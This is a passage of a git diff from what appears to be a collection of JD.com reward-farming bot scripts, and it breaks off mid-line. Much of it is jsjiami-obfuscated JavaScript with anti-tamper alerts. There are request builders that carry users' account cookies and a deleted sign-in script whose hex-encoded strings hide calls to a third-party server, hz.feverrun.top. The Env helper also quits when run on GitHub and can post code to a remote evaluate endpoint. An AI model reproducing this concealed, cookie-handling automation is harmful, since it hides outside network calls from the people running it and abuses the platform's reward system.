_0x2e37cc(_0x416391,_0x4c4ca3){return _0x416391(_0x4c4ca3);},'wVZsV':_0x12d3('0x8','\x37\x45\x42\x76'),'OFGOB':function _0x47e6cf(_0x316dc4,_0x546e6a){return _0x316dc4!==_0x546e6a;},'gZjJY':_0x12d3('0x16','\x40\x49\x34\x35'),'fKCzV':_0x12d3('0x17','\x39\x6e\x6b\x5a'),'wXbiY':function _0xf35a32(_0xc215bb,_0x46a2c1){return _0xc215bb+_0x46a2c1;},'MBDum':_0x12d3('0x18','\x56\x30\x4e\x4e'),'omqbh':function _0x15b6fc(_0x133176,_0x2c8fab){return _0x133176===_0x2c8fab;},'SHnyi':_0x12d3('0x19','\x76\x68\x5d\x6a'),'ndGTX':_0x12d3('0x1a','\x23\x59\x29\x24'),'JxXxR':_0x12d3('0x1b','\x37\x45\x42\x76'),'GJBBw':_0x12d3('0x1c','\x56\x30\x4e\x4e'),'aMCmx':function _0x16efe8(_0x5322b9,_0x86ec8a){return _0x5322b9===_0x86ec8a;},'QcCsO':_0x12d3('0x1d','\x5a\x26\x70\x6b'),'UEGLE':function _0x2d8384(_0x3d3070,_0x37f2a3){return _0x3d3070+_0x37f2a3;},'NaWLn':_0x12d3('0x1e','\x37\x45\x42\x76')};try{if(_0x272316){if(_0x288cda[_0x12d3('0x1f','\x30\x69\x4c\x31')](_0x288cda[_0x12d3('0x20','\x5e\x64\x23\x41')],_0x288cda[_0x12d3('0x21','\x23\x59\x29\x24')])){_0x272316=JSON[_0x12d3('0x22','\x37\x45\x42\x76')](_0x272316);if(_0x272316&&_0x288cda[_0x12d3('0x23','\x4c\x26\x58\x62')](_0x272316[_0x12d3('0x24','\x62\x4a\x67\x4d')],0x0)){if(_0x288cda[_0x12d3('0x25','\x35\x2a\x57\x78')](_0x288cda[_0x12d3('0x26','\x6e\x56\x45\x73')],_0x288cda[_0x12d3('0x27','\x54\x54\x75\x23')])){_0x288cda[_0x12d3('0x28','\x23\x30\x6f\x76')](_0x43920b,_0x392cb3);}else{console[_0x12d3('0x29','\x73\x29\x37\x76')](_0x288cda[_0x12d3('0x2a','\x77\x68\x24\x45')]);if(_0x272316[_0x12d3('0x2b','\x30\x69\x4c\x31')]){_0x392cb3=_0x272316[_0x12d3('0x2c','\x71\x4a\x6c\x5b')]||'';}if(_0x288cda[_0x12d3('0x2d','\x73\x71\x5e\x5b')](_0x392cb3,'')){if(_0x288cda[_0x12d3('0x2e','\x65\x5e\x23\x5d')](_0x288cda[_0x12d3('0x2f','\x4e\x30\x65\x76')],_0x288cda[_0x12d3('0x30','\x40\x49\x34\x35')])){$[_0x12d3('0x31','\x62\x4a\x67\x4d')](e,_0x81717a);}else{_0x288cda[_0x12d3('0x32','\x73\x71\x5e\x5b')](_0x43920b,_0x392cb3);}}else console[_0x12d3('0x33','\x37\x45\x42\x76')](_0x288cda[_0x12d3('0x34','\x6e\x56\x45\x73')]);}}else{if(_0x288cda[_0x12d3('0x35','\x71\x6a\x5d\x39')](_0x288cda[_0x12d3('0x36','\x48\x40\x31\x63')],_0x288cda[_0x12d3('0x37','\x40\x49\x34\x35')])){console[_0x12d3('0x38','\x56\x30\x4e\x4e')](_0x272316[_0x12d3('0x39','\x65\x5e\x23\x5d')]);}else{console[_0x12d3('0x3a','\x59\x49\x4a\x4b')](_0x272316[_0x12d3('0x3b','\x4c\x26\x58\x62')]);}}}else{w[c](_0x288cda[_0x12d3('0x3c','\x53\x40\x35\x48')]('\u5220\u9664',_0x288cda[_0x12d3('0x3d','\x51\x5d\x26\x55')]));}}else{if(_0x288cda[_0x12d3('0x3e','\x5e\x64\x23\x41')](_0x288cda[_0x12d3('0x3f','\x59\x49\x4a\x4b')],_0x288cda[_0x12d3('0x40','\x25\x71\x4c\x51')])){console[_0x12d3('0x41','\x39\x6e\x6b\x5a')](_0x288cda[_0x12d3('0x42','\x5e\x73\x72\x51')]);}else{c='\x61\x6c';try{c+=_0x288cda[_0x12d3('0x43','\x62\x69\x50\x75')];b=encode_version;if(!(_0x288cda[_0x12d3('0x44','\x44\x54\x55\x6d')](typeof b,_0x288cda[_0x12d3('0x45','\x53\x40\x35\x48')])&&_0x288cda[_0x12d3('0x46','\x30\x69\x4c\x31')](b,_0x288cda[_0x12d3('0x47','\x71\x55\x4a\x30')]))){w[c](_0x288cda[_0x12d3('0x48','\x65\x5e\x23\x5d')]('\u5220\u9664',_0x288cda[_0x12d3('0x49','\x7a\x4b\x53\x36')]));}}catch(_0x2f8729){w[c](_0x288cda[_0x12d3('0x4a','\x44\x54\x55\x6d')]);}}}}catch(_0x32234b){$[_0x12d3('0x4b','\x2a\x5b\x23\x59')](_0x32234b,_0x81717a);}finally{_0x288cda[_0x12d3('0x4c','\x5e\x64\x23\x41')](_0x43920b,_0x392cb3);}});}else{console[_0x12d3('0x4d','\x4e\x30\x65\x76')](_0x2f634c[_0x12d3('0x4e','\x6e\x21\x31\x77')]);if(_0xea6584[_0x12d3('0x4f','\x43\x25\x6e\x5b')]){_0x392cb3=_0xea6584[_0x12d3('0x50','\x40\x49\x34\x35')]||'';}if(_0x2f634c[_0x12d3('0x51','\x44\x54\x55\x6d')](_0x392cb3,'')){_0x2f634c[_0x12d3('0x52','\x23\x30\x6f\x76')](_0x43920b,_0x392cb3);}else console[_0x12d3('0x29','\x73\x29\x37\x76')](_0x2f634c[_0x12d3('0x53','\x74\x50\x64\x67')]);}});};(function(_0x155952,_0x50db9e,_0x32dc5f){var _0x529a04=function(){var _0x26c92a=!![];return function(_0x216265,_0x518ec2){var _0x51d69e=_0x26c92a?function(){if(_0x518ec2){var _0x3fbec9=_0x518ec2['apply'](_0x216265,arguments);_0x518ec2=null;return _0x3fbec9;}}:function(){};_0x26c92a=![];return _0x51d69e;};}();var _0x35bbf9=_0x529a04(this,function(){var _0x453188=function(){return'\x64\x65\x76';},_0x518bc4=function(){return'\x77\x69\x6e\x64\x6f\x77';};var _0x5f1d7f=function(){var _0xc0728a=new RegExp('\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d');return!_0xc0728a['\x74\x65\x73\x74'](_0x453188['\x74\x6f\x53\x74\x72\x69\x6e\x67']());};var _0x49246a=function(){var _0x42aa1b=new RegExp('\x28\x5c\x5c\x5b\x78\x7c\x75\x5d\x28\x5c\x77\x29\x7b\x32\x2c\x34\x7d\x29\x2b');return _0x42aa1b['\x74\x65\x73\x74'](_0x518bc4['\x74\x6f\x53\x74\x72\x69\x6e\x67']());};var _0x428533=function(_0x285c50){var _0x2b6ac4=~-0x1>>0x1+0xff%0x0;if(_0x285c50['\x69\x6e\x64\x65\x78\x4f\x66']('\x69'===_0x2b6ac4)){_0x375256(_0x285c50);}};var _0x375256=function(_0x4aa102){var _0x1265b0=~-0x4>>0x1+0xff%0x0;if(_0x4aa102['\x69\x6e\x64\x65\x78\x4f\x66']((!![]+'')[0x3])!==_0x1265b0){_0x428533(_0x4aa102);}};if(!_0x5f1d7f()){if(!_0x49246a()){_0x428533('\x69\x6e\x64\u0435\x78\x4f\x66');}else{_0x428533('\x69\x6e\x64\x65\x78\x4f\x66');}}else{_0x428533('\x69\x6e\x64\u0435\x78\x4f\x66');}});_0x35bbf9();var _0x38b1d3={'AZVdm':_0x12d3('0x54','\x54\x54\x75\x23'),'GGWoW':function _0x34c501(_0x16b66f,_0x7ea67b){return _0x16b66f!==_0x7ea67b;},'jAPrq':_0x12d3('0x55','\x53\x40\x35\x48'),'WAEub':function _0x3ce93d(_0x5b4432,_0x451f5b){return _0x5b4432===_0x451f5b;},'iTBJa':_0x12d3('0x56','\x44\x54\x55\x6d'),'EEwcl':_0x12d3('0x57','\x23\x30\x6f\x76'),'VRcwi':_0x12d3('0x58','\x56\x30\x4e\x4e'),'MGpgs':function _0x230b8e(_0x45ffa7,_0x49b34){return _0x45ffa7!==_0x49b34;},'YrecC':function _0x4ffa1d(_0xb9b23e,_0x6beea4){return _0xb9b23e===_0x6beea4;},'BZUzg':function _0x381da9(_0x2d657e,_0x233750){return _0x2d657e+_0x233750;},'oGtxu':_0x12d3('0x59','\x6c\x44\x48\x52'),'luroO':function _0x259a86(_0x565c60,_0x11dc37){return _0x565c60+_0x11dc37;},'SLsjp':_0x12d3('0x1e','\x37\x45\x42\x76')};_0x32dc5f='\x61\x6c';try{_0x32dc5f+=_0x38b1d3[_0x12d3('0x5a','\x51\x5d\x26\x55')];_0x50db9e=encode_version;if(!(_0x38b1d3[_0x12d3('0x5b','\x77\x68\x24\x45')](typeof _0x50db9e,_0x38b1d3[_0x12d3('0x5c','\x51\x5d\x26\x55')])&&_0x38b1d3[_0x12d3('0x5d','\x59\x49\x4a\x4b')](_0x50db9e,_0x38b1d3[_0x12d3('0x5e','\x5a\x26\x70\x6b')]))){if(_0x38b1d3[_0x12d3('0x5f','\x54\x54\x75\x23')](_0x38b1d3[_0x12d3('0x60','\x4c\x26\x58\x62')],_0x38b1d3[_0x12d3('0x61','\x23\x30\x6f\x76')])){_0x32dc5f+=_0x38b1d3[_0x12d3('0x62','\x39\x6e\x6b\x5a')];_0x50db9e=encode_version;if(!(_0x38b1d3[_0x12d3('0x63','\x65\x40\x50\x6b')](typeof _0x50db9e,_0x38b1d3[_0x12d3('0x64','\x42\x59\x70\x23')])&&_0x38b1d3[_0x12d3('0x65','\x21\x23\x4b\x2a')](_0x50db9e,_0x38b1d3[_0x12d3('0x66','\x56\x30\x4e\x4e')]))){_0x155952[_0x32dc5f](_0x38b1d3[_0x12d3('0x67','\x32\x6a\x4d\x37')]('\u5220\u9664',_0x38b1d3[_0x12d3('0x68','\x48\x40\x31\x63')]));}}else{_0x155952[_0x32dc5f](_0x38b1d3[_0x12d3('0x69','\x25\x5e\x66\x21')]('\u5220\u9664',_0x38b1d3[_0x12d3('0x6a','\x62\x4a\x67\x4d')]));}}}catch(_0x1231b8){_0x155952[_0x32dc5f](_0x38b1d3[_0x12d3('0x6b','\x40\x49\x34\x35')]);}}());;encode_version = 'jsjiami.com.v5'; + + +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + + +function deepCopy(obj) { + let objClone = Array.isArray(obj) ? [] : {}; + if (obj && typeof obj === "object") { + for (let key in obj) { + if (obj.hasOwnProperty(key)) { + //判断ojb子元素是否为对象,如果是,递归复制 + if (obj[key] && typeof obj[key] === "object") { + objClone[key] = deepCopy(obj[key]); + } else { + //如果不是,简单复制 + objClone[key] = obj[key]; + } + } + } + } + return objClone; +} + +function apptaskUrl(functionId = "", body = "") { + return { + url: `${JD_API_HOST}?functionId=${functionId}`, + body, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Referer': '', + 'User-Agent': 'JD4iPhone/167774 (iPhone; iOS 14.7.1; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} +function taskUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${functionId}&body=${encodeURIComponent(JSON.stringify(body))}&appid=CashRewardMiniH5Env&appid=9.1.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Referer': 'http://wq.jd.com/wxapp/pages/hd-interaction/index/index', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_cash_freesoul.js b/jd_cash_freesoul.js deleted file mode 100644 index 67d1850..0000000 --- a/jd_cash_freesoul.js +++ /dev/null @@ -1,19 +0,0 @@ -/* -签到领现金,每日2毛~5毛 -动物园版本的sign -活动入口:京东APP搜索领现金进入 -更新时间:2021-06-07 -#签到领现金 -无需指定定时,每天运行一次即可 -10 10 * * * jd_cash_freesoul.js - */ -const $ = new Env('签到领现金'); -const notify = $.isNode() ? require('./sendNotify') : ''; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - - -var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxe61ec=["","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x63\x6C\x69\x65\x6E\x74\x2E\x61\x63\x74\x69\x6F\x6E","\x69\x73\x4E\x6F\x64\x65","\x70\x75\x73\x68","\x66\x6F\x72\x45\x61\x63\x68","\x6B\x65\x79\x73","\x4A\x44\x5F\x44\x45\x42\x55\x47","\x65\x6E\x76","\x66\x61\x6C\x73\x65","\x6C\x6F\x67","\x66\x69\x6C\x74\x65\x72","\x43\x6F\x6F\x6B\x69\x65\x4A\x44","\x67\x65\x74\x64\x61\x74\x61","\x43\x6F\x6F\x6B\x69\x65\x4A\x44\x32","\x63\x6F\x6F\x6B\x69\x65","\x6D\x61\x70","\x43\x6F\x6F\x6B\x69\x65\x73\x4A\x44","\x5B\x5D","\x64\x6F\x6E\x65","\x66\x69\x6E\x61\x6C\x6C\x79","\u274C\x20","\x6E\x61\x6D\x65","\x2C\x20\u5931\u8D25\x21\x20\u539F\u56E0\x3A\x20","\x21","\x63\x61\x74\x63\x68","\u3010\u63D0\u793A\u3011\u8BF7\u5148\u83B7\u53D6\u4EAC\u4E1C\u8D26\u53F7\u4E00\x63\x6F\x6F\x6B\x69\x65\x0A\u76F4\u63A5\u4F7F\u7528\x4E\x6F\x62\x79\x44\x61\u7684\u4EAC\u4E1C\u7B7E\u5230\u83B7\u53D6","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x62\x65\x61\x6E\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x62\x65\x61\x6E\x2F\x73\x69\x67\x6E\x49\x6E\x64\x65\x78\x2E\x61\x63\x74\x69\x6F\x6E","\x6D\x73\x67","\x6C\x65\x6E\x67\x74\x68","\x55\x73\x65\x72\x4E\x61\x6D\x65","\x6D\x61\x74\x63\x68","\x69\x6E\x64\x65\x78","\x69\x73\x4C\x6F\x67\x69\x6E","\x6E\x69\x63\x6B\x4E\x61\x6D\x65","\x2A\x2A\x2A\x2A\x2A\x2A\u5F00\u59CB\u3010\u4EAC\u4E1C\u8D26\u53F7","\u3011","\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A","\u3010\u63D0\u793A\u3011\x63\x6F\x6F\x6B\x69\x65\u5DF2\u5931\u6548","\u4EAC\u4E1C\u8D26\u53F7","\x20","\x5C\x6E\u8BF7\u91CD\u65B0\u767B\u5F55\u83B7\u53D6\x5C\x6E\x68\x74\x74\x70\x73\x3A\x2F\x2F\x62\x65\x61\x6E\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x62\x65\x61\x6E\x2F\x73\x69\x67\x6E\x49\x6E\x64\x65\x78\x2E\x61\x63\x74\x69\x6F\x6E","\x63\x6F\x6F\x6B\x69\x65\u5DF2\u5931\u6548\x20\x2D\x20","\x5C\x6E\u8BF7\u91CD\u65B0\u767B\u5F55\u83B7\u53D6\x63\x6F\x6F\x6B\x69\x65","\x73\x65\x6E\x64\x4E\x6F\x74\x69\x66\x79","\x72\x61\x6E\x64\x6F\x6D","\x77\x61\x69\x74","\x43\x41\x53\x48\x5F\x4E\x4F\x54\x49\x46\x59\x5F\x43\x4F\x4E\x54\x52\x4F\x4C","\x73\x69\x67\x6E\x4D\x6F\x6E\x65\x79","\x65\x78\x63\x68\x61\x6E\x67\x65\x42\x65\x61\x6E\x4E\x75\x6D","\x63\x61\x73\x68\x5F\x6D\x6F\x62\x5F\x73\x69\x67\x6E","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x63\x61\x73\x68\x5F\x6D\x6F\x62\x5F\x73\x69\x67\x6E\x20\x41\x50\x49\u8BF7\u6C42\u5931\u8D25\uFF0C\u8BF7\u68C0\u67E5\u7F51\u8DEF\u91CD\u8BD5","\x70\x61\x72\x73\x65","\x62\x69\x7A\x43\x6F\x64\x65","\x64\x61\x74\x61","\u7B7E\u5230","\x62\x69\x7A\x4D\x73\x67","\x6C\x6F\x67\x45\x72\x72","\x67\x65\x74","\x63\x61\x73\x68\x5F\x6D\x6F\x62\x5F\x68\x6F\x6D\x65","\x20\x41\x50\x49\u8BF7\u6C42\u5931\u8D25\uFF0C\u8BF7\u68C0\u67E5\u7F51\u8DEF\u91CD\u8BD5","\x63\x6F\x64\x65","\x72\x65\x73\x75\x6C\x74","\x74\x61\x73\x6B\x49\x6E\x66\x6F\x73","\x74\x79\x70\x65","\x64\x6F\x54\x69\x6D\x65\x73","\x74\x69\x6D\x65\x73","\u53BB\u505A","\u4EFB\u52A1\x20","\x2F","\x73\x6B\x75\x49\x64","\x70\x61\x72\x61\x6D\x73","\x6A\x75\x6D\x70","\x73\x68\x6F\x70\x49\x64","\x70\x61\x74\x68","\x75\x72\x6C","\x63\x61\x73\x68\x5F\x68\x6F\x6D\x65\x50\x61\x67\x65","\u5F53\u524D\u73B0\u91D1\uFF1A","\x74\x6F\x74\x61\x6C\x4D\x6F\x6E\x65\x79","\u5143","\x5C\x6E","\x0A\x0A","\u3010\u4EAC\u4E1C\u8D26\u53F7","\uFF08","\uFF09\u7684","\u597D\u53CB\u4E92\u52A9\u7801\u3011","\x69\x6E\x76\x69\x74\x65\x64\x43\x6F\x64\x65","\x73\x68\x61\x72\x65\x44\x61\x74\x65","\x70\x6F\x73\x74","\x63\x61\x73\x68\x5F\x64\x6F\x54\x61\x73\x6B","\u4EFB\u52A1\u5B8C\u6210\u6210\u529F","\x68\x74\x74\x70\x3A\x2F\x2F\x68\x7A\x2E\x66\x65\x76\x65\x72\x72\x75\x6E\x2E\x74\x6F\x70\x3A\x39\x39\x2F\x73\x68\x61\x72\x65\x2F\x73\x69\x67\x6E\x2F\x67\x65\x74\x53\x69\x67\x6E","\x66\x6E\x3D","\x26\x62\x6F\x64\x79\x3D","\x26\x74\x79\x70\x65\x3D","\x4D\x6F\x7A\x69\x6C\x6C\x61\x2F\x35\x2E\x30\x20\x28\x69\x50\x68\x6F\x6E\x65\x3B\x20\x43\x50\x55\x20\x69\x50\x68\x6F\x6E\x65\x20\x4F